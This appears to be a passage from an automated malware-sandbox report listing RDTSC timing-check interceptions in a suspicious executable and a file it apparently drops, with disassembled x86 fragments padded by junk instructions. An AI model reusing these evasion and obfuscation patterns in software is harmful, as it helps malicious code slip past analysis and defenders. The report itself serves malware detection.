00007F4A7D126909h 0x00000077 mov esi, edx 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007F4A7D1268FDh 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50807AF second address: 50807F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4A7CC24DF7h 0x00000009 jmp 00007F4A7CC24DF3h 0x0000000e popfd 0x0000000f mov esi, 26D7437Fh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 sub edx, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F4A7CC24DEDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50807F9 second address: 508080E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126901h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508080E second address: 508082E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, 57h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508082E second address: 50808BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D1268FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a jmp 00007F4A7D126906h 0x0000000f lea ebx, dword ptr [edi+01h] 0x00000012 jmp 00007F4A7D126900h 0x00000017 mov al, byte ptr [edi+01h] 0x0000001a jmp 00007F4A7D126900h 0x0000001f inc edi 0x00000020 jmp 00007F4A7D126900h 0x00000025 test al, al 0x00000027 jmp 00007F4A7D126900h 0x0000002c jne 00007F4AED60EAD8h 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F4A7D126907h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50808BC second address: 50808C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50808C2 second address: 50808C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50808C6 second address: 5080924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a jmp 00007F4A7CC24DF7h 0x0000000f shr ecx, 02h 0x00000012 jmp 00007F4A7CC24DF6h 0x00000017 rep movsd 0x00000019 rep movsd 0x0000001b rep movsd 0x0000001d rep movsd 0x0000001f rep movsd 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushfd 0x00000025 jmp 00007F4A7CC24DECh 0x0000002a xor esi, 63837738h 0x00000030 jmp 00007F4A7CC24DEBh 0x00000035 popfd 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080924 second address: 50809B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, dh 0x00000006 popad 0x00000007 mov ecx, edx 0x00000009 pushad 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4A7D1268FAh 0x00000011 xor esi, 22CAF198h 0x00000017 jmp 00007F4A7D1268FBh 0x0000001c popfd 0x0000001d push eax 0x0000001e pop edi 0x0000001f popad 0x00000020 push eax 0x00000021 pushfd 0x00000022 jmp 00007F4A7D1268FBh 0x00000027 adc si, C25Eh 0x0000002c jmp 00007F4A7D126909h 0x00000031 popfd 0x00000032 pop esi 0x00000033 popad 0x00000034 and ecx, 03h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F4A7D126908h 0x00000040 sbb ax, A588h 0x00000045 jmp 00007F4A7D1268FBh 0x0000004a popfd 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50809B0 second address: 50809CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ecx, ebx 0x00000010 mov bl, 25h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50809CD second address: 5080A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 jmp 00007F4A7D1268FEh 0x00000015 mov eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080A07 second address: 5080A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080A0B second address: 5080A11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080A11 second address: 5080A17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080A17 second address: 5080A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080A1B second address: 5080A60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp-10h] 0x0000000b jmp 00007F4A7CC24DEAh 0x00000010 mov dword ptr fs:[00000000h], ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F4A7CC24DEDh 0x00000020 or al, FFFFFFC6h 0x00000023 jmp 00007F4A7CC24DF1h 0x00000028 popfd 0x00000029 mov ebx, esi 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080A60 second address: 5080ADF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4A7D126903h 0x00000009 sub ah, FFFFFFFEh 0x0000000c jmp 00007F4A7D126909h 0x00000011 popfd 0x00000012 jmp 00007F4A7D126900h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ecx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushfd 0x0000001f jmp 00007F4A7D126903h 0x00000024 sbb ecx, 7314B2BEh 0x0000002a jmp 00007F4A7D126909h 0x0000002f popfd 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080ADF second address: 5080B1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 jmp 00007F4A7CC24DF8h 0x0000000e mov ax, 9501h 0x00000012 popad 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4A7CC24DF3h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080B1B second address: 5080B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080B21 second address: 5080B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080B25 second address: 5080B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F4A7D1268FDh 0x00000010 jmp 00007F4A7D1268FBh 0x00000015 popfd 0x00000016 pushfd 0x00000017 jmp 00007F4A7D126908h 0x0000001c xor eax, 5B0FD2D8h 0x00000022 jmp 00007F4A7D1268FBh 0x00000027 popfd 0x00000028 popad 0x00000029 leave 0x0000002a pushad 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080B7A second address: 50805E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov edx, ecx 0x00000007 popad 0x00000008 retn 0008h 0x0000000b cmp dword ptr [ebp-2Ch], 10h 0x0000000f mov eax, dword ptr [ebp-40h] 0x00000012 jnc 00007F4A7CC24DE5h 0x00000014 push eax 0x00000015 lea edx, dword ptr [ebp-00000590h] 0x0000001b push edx 0x0000001c call esi 0x0000001e push 00000008h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 mov edi, esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080C7F second address: 5080C85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 522E3A second address: 522E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 521E2D second address: 521E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 521E33 second address: 521E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 521F8A second address: 521F90 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 52226E second address: 522293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4A7CC24DEEh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 522293 second address: 5222C4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4A7D126915h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F4A7D1268F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5222C4 second address: 5222C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5222C8 second address: 5222CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 522446 second address: 522467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4A7CC24DE6h 0x00000009 jng 00007F4A7CC24DE6h 0x0000000f jc 00007F4A7CC24DE6h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jg 00007F4A7CC24E00h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 522467 second address: 522473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4A7D1268F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 522734 second address: 522750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7CC24DF8h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525868 second address: 52586C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525942 second address: 525946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5259CA second address: 5259D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5259D3 second address: 525A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F4A7CC24DE8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 call 00007F4A7CC24DE8h 0x0000002d pop edx 0x0000002e mov dword ptr [esp+04h], edx 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc edx 0x0000003b push edx 0x0000003c ret 0x0000003d pop edx 0x0000003e ret 0x0000003f mov dword ptr [ebp+122D35EEh], ebx 0x00000045 push 752C3367h 0x0000004a jnl 00007F4A7CC24DF0h 0x00000050 xor dword ptr [esp], 752C33E7h 0x00000057 mov edi, dword ptr [ebp+122D1BD5h] 0x0000005d push 00000003h 0x0000005f mov ecx, dword ptr [ebp+122D381Ch] 0x00000065 mov dword ptr [ebp+122D21FBh], edi 0x0000006b push 00000000h 0x0000006d mov ecx, dword ptr [ebp+122D1803h] 0x00000073 push 00000003h 0x00000075 jmp 00007F4A7CC24DF4h 0x0000007a call 00007F4A7CC24DE9h 0x0000007f jmp 00007F4A7CC24DECh 0x00000084 push eax 0x00000085 push eax 0x00000086 pushad 0x00000087 push eax 0x00000088 push edx 0x00000089 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525A8D second address: 525AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4A7D1268F6h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jbe 00007F4A7D126912h 0x00000016 jg 00007F4A7D12690Ch 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f jnp 00007F4A7D12690Ah 0x00000025 pushad 0x00000026 push ecx 0x00000027 pop ecx 0x00000028 push edx 0x00000029 pop edx 0x0000002a popad 0x0000002b popad 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525AEC second address: 525AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525AF0 second address: 525B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop eax 0x0000000c mov dword ptr [ebp+122D2D80h], esi 0x00000012 lea ebx, dword ptr [ebp+1245A6D1h] 0x00000018 sub dword ptr [ebp+122D3615h], esi 0x0000001e xchg eax, ebx 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525B98 second address: 525BCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4A7CC24DF7h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525BCE second address: 525BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525BD2 second address: 525BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525BD8 second address: 525C03 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4A7D1268FCh 0x00000008 js 00007F4A7D1268F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 xor esi, dword ptr [ebp+122D39D0h] 0x00000017 push 00000000h 0x00000019 mov di, si 0x0000001c push 012B4191h 0x00000021 jng 00007F4A7D126904h 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525C03 second address: 525C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525C07 second address: 525C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 012B4111h 0x0000000d movzx ecx, cx 0x00000010 push 00000003h 0x00000012 mov ecx, dword ptr [ebp+122D18DBh] 0x00000018 push 00000000h 0x0000001a cld 0x0000001b push 00000003h 0x0000001d mov edi, dword ptr [ebp+122D38B4h] 0x00000023 call 00007F4A7D1268F9h 0x00000028 jmp 00007F4A7D1268FCh 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F4A7D126900h 0x00000035 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525C52 second address: 525CF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F4A7CC24DF2h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F4A7CC24DF4h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push edx 0x0000001e jno 00007F4A7CC24DFFh 0x00000024 pop edx 0x00000025 pop eax 0x00000026 mov dh, 07h 0x00000028 lea ebx, dword ptr [ebp+1245A6DCh] 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F4A7CC24DE8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525CF1 second address: 525CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 525CF5 second address: 525CFF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 546E14 second address: 546E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 544C8B second address: 544CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4A7CC24DE6h 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007F4A7CC24DF2h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 544CA0 second address: 544CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 544CA6 second address: 544CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 544CAE second address: 544CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4A7D1268F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 544CB8 second address: 544CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 544CBC second address: 544CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4A7D1268FBh 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 544CD3 second address: 544CD9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 544E74 second address: 544E7E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4A7D1268FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 545110 second address: 545114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 545114 second address: 545118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 54572A second address: 545747 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F4A7CC24DF3h 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 545747 second address: 54574C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 546510 second address: 546522 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DEEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 54667F second address: 546685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 546685 second address: 54668B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 546835 second address: 54683A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 54683A second address: 54685B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F4A7CC24DF7h 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 54685B second address: 546861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5469DF second address: 5469E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5469E5 second address: 546A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007F4A7D126944h 0x0000000d pushad 0x0000000e jmp 00007F4A7D1268FEh 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F4A7D126908h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 546A1D second address: 546A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 546A26 second address: 546A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 546CC3 second address: 546CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 546CC7 second address: 546CD9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4A7D1268F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F4A7D1268FEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 511EDE second address: 511EEE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F4A7CC24DEBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 54C2C5 second address: 54C2CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 54C7CE second address: 54C7D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
